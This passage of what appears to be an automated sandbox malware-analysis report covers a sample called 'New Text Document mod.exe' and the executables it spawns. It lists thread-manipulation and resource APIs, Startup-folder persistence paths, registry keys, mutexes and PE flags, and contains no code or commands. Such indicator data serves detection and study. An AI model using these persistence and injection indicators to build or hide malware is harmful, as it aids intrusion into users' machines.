"00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp")4f:T8ab,Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "New Text Document mod.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "New Text Document mod.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "New Text Document mod.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "New Text Document mod.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "New Text Document mod.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "New Text Document mod.exe") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "New Text Document mod.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")50:Tce6,Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "New Text Document mod.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "New Text Document mod.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "New Text Document mod.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "New Text Document mod.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "New Text Document mod.exe") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")51:T664,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "New Text Document mod.exe") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005036.00000000.270331.59AFE000.00000002.mdmp")52:T53a,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "New Text Document mod.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "New Text Document mod.exe") Found reference to API "WSASetLastError" (Indicator: "SetLastError"; File: "New Text Document mod.exe") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "New Text Document mod.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")53:T8eb,"Setup.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "Setup.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "ZAjTMWu.exe" contains export function called "?buffer_alloc@@YAPAXK@Z" at ordinal 1 "ZAjTMWu.exe" contains export function called "?buffer_compare@@YAHPBX0K@Z" at ordinal 2 "ZAjTMWu.exe" contains export function called "?buffer_copy@@YAPAXPAXPBXK@Z" at ordinal 3 "ZAjTMWu.exe" contains export function called "?buffer_fill@@YAPAXPAXEK@Z" at ordinal 4 "ZAjTMWu.exe" contains export function called "?buffer_find_a@@YAKPBXKPBD@Z" at ordinal 5 "ZAjTMWu.exe" contains export function called "?buffer_find_w@@YAKPBXKPB_W@Z" at ordinal 6 "ZAjTMWu.exe" contains export function called "?buffer_free@@YAHPAX@Z" at ordinal 7 "ZAjTMWu.exe" contains export function called "?buffer_to_string_a@@YAHPBXKPADK@Z" at ordinal 8 "ZAjTMWu.exe" contains export function called "?buffer_to_string_w@@YAHPBXKPA_WK@Z" at ordinal 9 "ZAjTMWu.exe" contains export function called "?buffer_zero@@YAHPAXK@Z" at ordinal 10 "ZAjTMWu.exe" contains export function called "?config_close@@YAHPAX@Z" at ordinal 11 "ZAjTMWu.exe" contains export function called "?config_get_string_a@@YAHPAXPBDPADK@Z" at ordinal 12 "ZAjTMWu.exe" contains export function called "?config_get_string_w@@YAHPAXPB_WPA_WK@Z" at ordinal 13 "ZAjTMWu.exe" contains export function called "?config_load_a@@YAPAXPBD@Z" at ordinal 14 "ZAjTMWu.exe" contains export function called "?config_load_w@@YAPAXPB_W@Z" at ordinal 15 "ZAjTMWu.exe" contains export function called "?config_remove_key@@YAHPAXPB_W@Z" at ordinal 16 "ZAjTMWu.exe" contains export function called "?config_save_a@@YAHPAXPBD@Z" at ordinal 17 "ZAjTMWu.exe" contains export function called "?config_save_w@@YAHPAXPB_W@Z" at ordinal 18 "ZAjTMWu.exe" contains export function called "?config_set_string_a@@YAHPAXPBD1@Z" at ordinal 19 "ZAjTMWu.exe" contains export function called "?config_set_string_w@@YAHPAXPB_W1@Z" at ordinal 20 "ZAjTMWu.exe" contains export function called "?debug_trace_a@@YAHPBD@Z" at ordinal 21 "ZAjTMWu.exe" contains export function called "?debug_trace_w@@YAHPB_W@Z" at ordinal 22 "ZAjTMWu.exe" contains export function called "?event_register_a@@YAHPBDPAX@Z" at ordinal 2354:Tc00,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000968.00000000.272733.007E5000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000968.00000000.272733.007E5000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup") in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp ":\Users\JgP5rIt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\users\jgp5rit\appdata\roaming\microsoft\windows\start menu\programs\startup") in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: "userprofile%\appdata\roaming\microsoft\windows\start menu\programs\startup") in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp ":\Users\JgP5rIt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\users\jgp5rit\appdata\roaming\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: "%userprofile%\appdata\roaming\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: "programdata%\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp55:T1e7b,"SOFTWARE\" in Source: 23227-1603-00DE544B "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 33623-200-0041CEDC "Software\Microsoft\Windows\CurrentVersion\GrpConv\MapGroups" in Source: 33623-200-0041CEDC "SOFTWARE\Microsoft\.NETFramework\policy" in Source: 33623-236-00422F04 "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 33623-378-0041FA58 "Software\Microsoft\Windows" in Source: 33623-418-0041EA04 "SOFTWARE\Borland\Delphi\RTL" in Source: 33623-628-00402C44 "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\GrpConv\MapGroups" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "Software\Microsoft\Windows" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\policy" in Source: 00000000-00000968.00000000.272733.00401000.00000020.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000968.00000000.272733.007E5000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00001088.00000000.271453.00E64000.00000002.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "e\Software\Cla" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "stry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001088.00000000.271453.01630000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\S" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandli" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowFullDomainLiterals" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00002000.00000000.269103.03650000.00000004.mdmp "y\Machine\Software\Classes\AppID\NewTextDocumentmod.exe" in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.271022.01430000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "e\Software\C" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F1C46D71-B791-4110-8D5C-7108F22C1010}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\Software\C" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6" in Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00005036.00000000.270331.59AF9000.00000002.mdmp56:Ta2f,Process NewTextDocumentmod.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2000:304:WilStaging_02" Process NewTextDocumentmod.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2000:120:WilError_03" Process NewTextDocumentmod.exe created mutex with name "\BaseNamedObjects\RasPbFile" Process NewTextDocumentmod.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2000:120:WilError_03" Process NewTextDocumentmod.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process NewTextDocumentmod.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process NewTextDocumentmod.exe created mutex with name "Local\SM0:2000:304:WilStaging_02" Process NewTextDocumentmod.exe created mutex with name "Local\ZonesCacheCounterMutex" Process NewTextDocumentmod.exe created mutex with name "Local\SM0:2000:120:WilError_03" Process NewTextDocumentmod.exe created mutex with name "SM0:2000:120:WilError_03" Process NewTextDocumentmod.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7356:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:7356:304:WilStaging_02" Process TLauncher-Installer-1.9.4.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1088:168:WilStaging_02" Process TLauncher-Installer-1.9.4.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1088:64:WilError_03" Process TLauncher-Installer-1.9.4.exe created mutex with name "Local\SM0:1088:168:WilStaging_02" Process TLauncher-Installer-1.9.4.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process TLauncher-Installer-1.9.4.exe created mutex with name "SM0:1088:64:WilError_03" Process TLauncher-Installer-1.9.4.exe created mutex with name "Local\SM0:1088:64:WilError_03" Process TLauncher-Installer-1.9.4.exe created mutex with name "Local\ZonesCacheCounterMutex" Process TLauncher-Installer-1.9.4.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1088:64:WilError_03" Process TLauncher-Installer-1.9.4.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process TLauncher-Installer-1.9.4.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process lJ5IwxN.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8516:304:WilStaging_02" Process lJ5IwxN.exe created mutex with name "Local\SM0:8516:304:WilStaging_02"57:Tad4,"NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "NewTextDocumentmod.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "TLauncher-Installer-1.9.4.exe" failed to load missing module "%WINDIR%\system32\api-ms-win-downlevel-advapi32-l2-1-0.dll" - [base:0; Status:c0000135] "irsetup.exe" failed to load missing module "%TEMP%\_ir_sf_temp_0\Wow64ENU.dll" - [base:0; Status:c0000135] "irsetup.exe" failed to load missing module "%TEMP%\_ir_sf_temp_0\Wow64LOC.dll" - [base:0; Status:c0000135] "irsetup.exe" failed to load missing module "%TEMP%\_ir_sf_temp_0\IRZipENU.dll" - [base:0; Status:c0000135] "irsetup.exe" failed to load missing module "%TEMP%\_ir_sf_temp_0\IRZipLOC.dll" - [base:0; Status:c0000135]58:Td3a,"New Text Document mod.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "MSTeams.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "BrowserInstaller.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "0rXld4E.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "rabert.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "8RsL970.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Setup.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "fz0oKy4.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "irsetup.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "cooking.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "server.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 